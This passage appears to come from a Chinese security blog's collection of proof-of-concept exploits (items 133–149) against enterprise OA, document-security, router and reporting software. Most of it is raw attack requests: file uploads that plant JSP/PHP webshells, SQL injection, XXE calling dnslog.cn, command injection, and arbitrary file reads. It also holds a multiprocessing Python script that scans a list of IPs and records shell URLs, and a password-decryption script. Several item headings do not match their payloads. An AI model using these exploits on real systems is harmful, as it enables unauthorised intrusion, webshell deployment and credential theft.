Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cache-Control: max-age=0
Content-Length: 17
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=1lldisf83r1h3uruph3cj5jjc1; KEY_RANDOMDATA=17684
Origin: http://183.149.216.196:81
Referer: http://183.149.216.196:81/general/appbuilder/web/portal/gateway/getdata?activeTab=%E6%88%91%27,1=%3Eeval($_POST[x]));/*&id=19&module=Carouselimage
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

x=echo+success%3B

133、万户 ezOFFICE 任意文件上传漏洞

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,fil;q=0.6
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Content-Length: 1642

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:util="http://com.whir.ezoffice.ezform.util.StringUtil"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<util:printToFile
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<fileName xsi:type="soapenc:string">../server/oa/deploy/defaultroot.war/public/upload/date.jsp.</fileName>
<content xsi:type="soapenc:string">&#x3c;&#x25;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x6f;&#x75;&#x74;&#x2e;&#x70;&#x72;&#x69;&#x6e;&#x74;&#x28;&#x22;&#x68;&#x65;&#x6c;&#x6c;&#x6f;&#x20;&#x77;&#x6f;&#x72;&#x6c;&#x64;&#x21;&#x22;&#x29;&#x3b;&#x0a;&#x25;&#x3e;</content>
</util:printToFile>
</soapenv:Body>
</soapenv:Envelope>

134、亿赛通 ClientAjax 任意文件下载漏洞

POST /CDGServer3/ClientAjax HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp

135、亿赛通 DecryptApplicationService2任意文件上传

POST /CDGServer3/DecryptApplicationService2?fileId=../../../Program+Files+(x86)/ESAFENET/CDocGuard+Server/tomcat64/webapps/CDGServer3/12345.jsp HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E3B40EDFAC72A292489DBF7019B4AEA6
Connection: close
Content-Length: 254

<%@page import="java.text.*,java.util.*,java.io.*"%>
<%
SimpleDateFormat df = new SimpleDateFormat("yyy-MM-dd HH:mm:ss");
out.println(df.format(new Date()));
out.println("aaa");
File file = new File(application.getRealPath(request.getServletPath()));
file.delete();
%>

Shell 地址为：/CDGServer3/12345.jsp

136、亿赛通 uploadFileFromClientServiceForClient任意文件上传漏洞

POST /CDGServer3/UploadFileFromClientServiceForClient?AHECJIIACHMDAPKFAPLPFJPJHAHIDMFNKENDCLKLHFEKNDMAHGHOJBPEBEBCNIODHIKOBGFOMCPECDMKOHHIKOIPOPMMIOJDEACILAMPMLNLMELAMHAGGJMDLBCGCECCPKMMEIOKCBDGKHPDPFMLNPEKJHDEHNHFHILECBAJELDJNDBAEHOIIKDMHGOEHBIBHCAMDBBLHJGNCCPKDGLABEFHOKDPAKDCMIOHIFJAGCBPOMIKLMGBAGCNBGEGNKGABCOKEIJCMOMKEAKDALJEHMEIPHLLBJPCJIIPAFACIJKGABAFFDEDCAHOALGIGLKBFIFBFCGGBJFOGEGG HTTP/1.1
Accept: text/html,application/json,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.142 Safari/537.36 Hutool
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Content-Length: 1782
Content-Type: application/xml;charset=UTF-8
Cookie: JSESSIONID=A0OE152C6F1163D70C172BDCF32D9880
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.80.9:8443
Connection: close

{data区 替换为待上传的文件 如jsp免杀马等}


shell路径
https://*.*.*.*/CDGServer3/favicat.jsp

137、亿赛通电子文档安全管理系统 syn_user_policy 任意文件上传

POST /CDGServer3/fileType/importFileType.do?flag=syn_user_policy HTTP/1.1
Host:
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 212
Content-Type: multipart/form-data; boundary=a6c1544109e610dc4bddfc7583725f9c

--a6c1544109e610dc4bddfc7583725f9c
Content-Disposition: form-data; name="fileshare"; filename="/..\\..\\..\\..\\webapps\\ROOT\\testttttt.jsp"

<%@page import="java.text.*,java.util.*,java.io.*"%>
<%
SimpleDateFormat df = new SimpleDateFormat("yyy-MM-dd HH:mm:ss");
out.println(df.format(new Date()));
File file = new File(application.getRealPath(request.getServletPath()));
file.delete();
%>
--a6c1544109e610dc4bddfc7583725f9c--

138、易思软件-智能物流无人值守系统 ImportReport 任意文件上传

POST /Sys_ReportFile/ImportReport?encode=health HTTP/1.1
Host:
Content-Length: 212
X-File-Name: test.grf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryxzUhGld6cusN3Alk
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: currentmoduleId=; prevcurrentmoduleId=; ASP.NET_SessionId=dwgpzkmpqdwkgfefjcwxzr4f;__RequestVerificationToken=MuLUdOygmXaoLwVszqtimhifsVREHIu-alcI9SLBiM617s7kK1M1El1pgO6fm5yIs1_PUNSX-ZQAfk0baq_6cA6RGMPKc5K87XTsMDG2bSs1
Connection: close

------WebKitFormBoundaryxzUhGld6cusN3Alk
Content-Disposition: form-data; name="file"; .filename="test.grf;.aspx"
Content-Type: application/octet-stream

hello world
------WebKitFormBoundaryxzUhGld6cusN3Alk--

139、用友 NC uploadControl_uploadFile 任意文件上传

先获取 cookie：url+/mp/loginxietong?username=admin

POST /mp/uploadControl/uploadFile HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7456D96F1B0F27B4C361EB7F6C5C1FE1.server; mp_name=admin;JSESSIONID=F5E62B60F069DA492605F276E527A71C.server
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 312

------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="testpoc.jsp"
Content-Type: application/octet-stream

Hello Administrator!
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp

Webshell 地址 /mp/uploadFileDir/testpoc.jsp

140、用友 U8 CRM 客户关系管理系统 getemaildata.php 任意文件读取漏洞

1	/ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini

141、通达 OA 11.10 getdata 远程命令执行漏洞

# app="用友-U8CRM"

import requests
import urllib3
import multiprocessing
import re

urllib3.disable_warnings()

proxies = {
	"http": "http://127.0.0.1:7890",
	"https": "http://127.0.0.1:7890"
}

headers = {
	"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQ"
}

data = '''------WebKitFormBoundarykS5RKgl8t3nwInMQ
Content-Disposition: form-data; name="file"; filename="test.php "
Content-Type: text/plain

<?php phpinfo();?>

------WebKitFormBoundarykS5RKgl8t3nwInMQ'''

def poc(url):
	target = url + "/ajax/getemaildata.php?DontCheckLogin=1"
	try:
		r = requests.post(target, data=data, verify=False,proxies=proxies,allow_redirects=False,headers=headers)
	pattern = r'\\\\mht([0-9A-Fa-f]+)\.tmp\.mht'
	match = re.search(pattern, r.text)

	if match:
		tmp_file_name = match.group(1)
		decimal = int(tmp_file_name, 16)
		decimal -= 1
		new_hex = hex(decimal)[2:].upper()
		filename = "upd" + new_hex + ".tmp.php"
		if requests.get(url + f"/tmpfile/{filename}").status_code == 200:
			with open("result.txt", "a") as f:
				f.write(target + "\n")
				f.close()
			print("shell 地址:" + url + f"/tmpfile/{filename}")
		else:
			pass
	except:
		pass

if __name__ == "__main__":
	with open("ip.txt") as file:
		urls = [line.strip("\n") for line in file]
	with multiprocessing.Pool() as pool:
		pool.map(poc,urls)

142、通达 OA 11.10 getdata 远程命令执行漏洞

POST /services/operOriztion HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Content-Length: 861
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Cookie: JSESSIONID=276A2040BB09CD01F9AD891F65848109; xMsg11=1; xMsg13=1
Soapaction:
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsdd="http://xml.apache.org/axis/wsdd/">
<soapenv:Header/>
<soapenv:Body>
<wsdd:getGsbmfaByKjnd soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<kjnd xsi:type="xsd:string">gero et&apos; UNION ALL SELECT (SELECT TOP 1 CHAR(113)+CHAR(106)+CHAR(107)+CHAR(112)+CHAR(113)+ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113)+CHAR(113) FROM master..sysdatabases WHERE ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 9 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases ORDER BY 1) ORDER BY 1)-- xJKO</kjnd>
</wsdd:getGsbmfaByKjnd>
</soapenv:Body>
</soapenv:Envelope>

143、用友时空 KSOA QueryService sql 注入漏洞

1	/servlet/com.sksoft.bill.QueryService?service=query&content=SELECT%20name%20FROM%20sys.databases;

144、在野0day nginxWebUI 远程代码执行漏洞

1.payload（命令执行1）:

1	http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C

2:payload（命令执行2）:

POST /AdminPage/conf/check HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 151
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa
Connection: close

nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers

3.payload:

//第一步设置属性
http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a
//第二步执行命令
http://localhost:8080/AdminPage/conf/checkBase
可通过../ 控制文件上传路径，上传计划任务

145、通达 OA 11.10 getdata 远程命令执行漏洞

https://x.threatbook.com/v5/vul/6bf25402a41b4fc27497a5b42a8421d7ef38d57cb7d8143dedb9a6f438310a2d9e083c39c56fee2571651827b4d9ce8d

利用 CB1 生成 hex 反序列化数据，替换 POC 中的 HEX

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

然后再 Get 访问/mobile_portal/api/systemLog/pns/loadLog/app.log

146、通达 OA 11.10 getdata 远程命令执行漏洞

POST /seeyon/wpsAssistServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

flag=template&templateUrl=C:/windows/system.ini

147、泛微E-CologyXXE

poc1

POST /rest/ofs/ReceiveCCRequestByXml HTTP/1.1
Host: your-ip
Content-Type: application/xml
<M><syscode>&send;</syscode></M>

poc2

1	/rest/ofs/deleteUserRequestInfoByXml/

Exp1

POST /rest/ofs/ReceiveCCRequestByXml HTTP/1.1
Host: your-ip
Content-Type: application/xml<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://dnslog.cn">
<M><syscode>&send;</syscode></M>

Exp2

POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1
Host: your-ip
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://dnslog.cn">
<M><syscode>&send;</syscode></M>

148、H3C多系列路由器存在前台RCE漏洞

fofa: app=”H3C-outer”

POST /goform/aspForm HTTP/ 1.1
Host: {{Hostname}}
User-Agent: Mozilla/ 5.0 (Macintosh; Intel Mac os x 10_14_3) AppleWebKit/ 605.1.15
Connection: close
Content-Length: 68
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://{{Hostname)}/userLogin.asp
CMD=DelL2tpLNSList&GO=vpn_12tp_session.asp&param= 1; $(1s>/www/test);

访问http://xxx/test

149、帆软报表系统任意文件读取漏洞

WebReport /ReportServer ?op-chart&cmd-get_geo_json&resourcepath-privilege.xml
获得账号密码后进行解密，解密脚本如下解密脚本
cipher = 'XXXXXXXXXXX'
#密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = ""
cipher = cipher[ 3:]
for i in range (int (len (cipher) / 4))	:
cl= int ("Ox" + cipher[i * 4: (i + 1) * 4], 16)
c2 = cl ^ PASSWORD MASK_ARRAY [i % 8]
Password = Password + chr (c2)
print (Password)

3- 结束语

需要技术文章,记得将ycc77.com 添加到书签栏哦~
需要资源,记得将ycc77.cn 添加到书签栏哦~
QQ交流群:660264846
B站: 疯狂的杨CC
抖音: 疯狂的杨CC
快手: 疯狂的杨CC
公众号:SGY安全
91: 疯狂的杨CC
p站: 疯狂的杨CC

Author: 杨CC

Link: https://ycc77.com/2025/09/13/20-150poc/

POC合集 EXP合集

2025-09-13

2025年最新的20W+的Nuclei-POC

1- 杨CC的评价> 是的，20W+的Nuclei-POC，没有之一。 > 非常牛而逼之。 > 不过，全部都是yaml文件格式的POC，毕竟是Nuclei，一些支持yaml格式的poc可以正常使用。 2- 分类介绍我们先来看一下总体数量。从这里可以看到，总数量拥有208936个poc，然后，我们再来把目录中的所有poc目录统计一下。图1 图2 从图1和图2中，可以看到，POC分类有80+个。而且我们通过观察目录可以发现，包含：adobe、apache、aws、cisco、cnnvd、cnvd、ftp、zfuz、ftp、git、http、java、mysql、nginx、oracle、php、python、ruby、sql、ssh、web、vmware、xss等多个poc分类。我们下面会将不同的分类进行介绍。 3- 部分POC介绍3.1 adobe 数量上，我们来看下图总数量，高达300+个poc。然后我们来简单看一些poc。 adobe/SSRF-AEM-2018-12809.yaml 123456789101112131...

Comments

一、杨CC对工具的评价

二、POC合集

1、网神 SecSSL 3600安全接入网关系统 任意密码修改漏洞

2、网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

3、通达OA sql注入漏洞 CVE-2023-4166

4、通达OA sql注入漏洞 CVE-2023-4165 POC

5、深信服应用交付系统命令执行漏洞 POC

6、广联达oa sql注入漏洞 POC

7、深信服 sxf-报表系统 版本有限制

8、绿盟sas安全审计系统任意文件读取漏洞POC

9、蓝凌OA前台代码执行

10、金山WPS RCE

11、汉得SRM tomcat.jsp 登录绕过漏洞 POC

12、广联达oa 后台文件上传漏洞 POC

13、广联达oa sql注入漏洞 POC

14、泛微E-Office9文件上传漏洞 CVE-2023-2648 POC

15、泛微E-Office9文件上传漏洞 CVE-2023-2523 POC

16、辰信景云终端安全管理系统 login SQL注入漏洞 POC

17、安恒明御运维审计与风险控制系统堡垒机任意用户注册

18、HiKVISION 综合安防管理平台 report 任意文件上传漏洞 POC

19、HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC

20、Exchange Server远程代码执行漏洞（CVE-2023-38182）风险通告

21、Coremail远程代码执行漏洞（官方已辟谣）

22、泛微 E-Cology 某版本 SQL注入漏洞 POC

23、金和OA C6-GetSqlData.aspx SQL注入漏洞 POC

24、大华智慧园区综合管理平台 searchJson SQL注入漏洞 POC

25、大华智慧园区综合管理平台 文件上传漏洞 POC

26、用友时空KSOA PayBill SQL注入漏洞 POC

27、绿盟 SAS堡垒机 local_user.php 任意用户登录漏洞 POC

28、绿盟 SAS堡垒机 GetFile 任意文件读取漏洞 POC

29、绿盟 SAS堡垒机 Exec 远程命令执行漏洞 POC

30、用友移动管理系 统 uploadApk.do 任意文件上传漏洞

31、启明天钥安全网关前台sql注入

32、用友M1server反序列化命令执行漏洞

33、启明星辰-4A 统一安全管控平台 getMater 信息泄漏

34、锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露

35、科荣 AIO 管理系统存在文件读取漏洞

36、飞企互联 FE 业务协作平台 magePath 参数文件读取漏洞

37、用友GRP-U8存在信息泄露

38、nginx配置错误导致的路径穿越风险

39、红帆OA zyy_AttFile.asmx SQL注入漏洞

40、Coremail 邮件系统未授权访问获取管理员账密

41、Milesight VPN server.js 任意文件读取漏洞

42、PigCMS action_flashUpload 任意文件上传漏洞

43、绿盟 NF 下一代防火墙 任意文件上传漏洞

44、金盘图书馆微信管理后台 getsysteminfo 未授权访问漏洞

45、Panel loadfile 后台文件读取漏洞

46、网御 ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞

47、广联达 Linkworks GetIMDictionarySQL 注入漏洞

48、用友文件服务器认证绕过

49、华天动力oa SQL注入

50、泛微 Weaver E-Office9 前台文件包含

51、企业微信（私有化版本）敏感信息泄露漏洞

52、帆软报表系统漏洞威胁

53、蓝凌EKP远程代码执行漏洞

54、Smartx超融合远程命令执行漏洞

55、Nacos-Sync未授权漏洞

56、360 新天擎终端安全管理系统信息泄露漏洞

57、锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

58、网神 SecSSL 3600安全接入网关系统 任意密码修改漏洞

59、Openfire身份认证绕过漏洞(CVE-2023-32315)

59、大华智慧园区综合管理平台 user_getUserInfoByUserName.action 任意密码读取漏洞

60、泛微 ShowDocsImagesql注入漏洞

61、宏景 HCM codesettree SQL 注入漏洞

61、用友时空 KSOATaskRequestServlet sql注入漏洞

62、用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入

63、用友畅捷通 T注入

64、宏景OA文件上传

65、金和OA 未授权

66、Kuboard默认口令

67、QAX-Vpn存在x遍历及任意账号密码修改漏洞

68、有用畅捷通T+GetStoreWarehouseByStore RCE漏洞

69、契约锁电子签章系统 RCE

70、任我行 CRM SmsDataList SQL注入漏洞

71、深信服数据中心管理系统 XML 实体注入漏洞

72、明源云 ERP ApiUpdate.ashx 文件上传漏洞

73、泛微 HrmCareerApplyPerView S Q L 注入漏洞

74、Metabase validate 远程命令执行漏洞（CVE-2023-38646）

75、KubePi JwtSigKey 登陆绕过漏洞（CVE-2023-22463）

76、禅道 16.5 router.class.php SQL注入漏洞

1、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

7、深信服 sxf-报表系统版本有限制

25、大华智慧园区综合管理平台文件上传漏洞 POC

30、用友移动管理系统 uploadApk.do 任意文件上传漏洞

43、绿盟 NF 下一代防火墙任意文件上传漏洞

58、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

93、CODING平台idna目录存在目录遍历漏洞

102、H3C CAS 虚拟化管理系统前台任意文件上传漏洞

118、华测监测预警系统任意文件读取漏洞

119、华测监测预警系统数据库泄露漏洞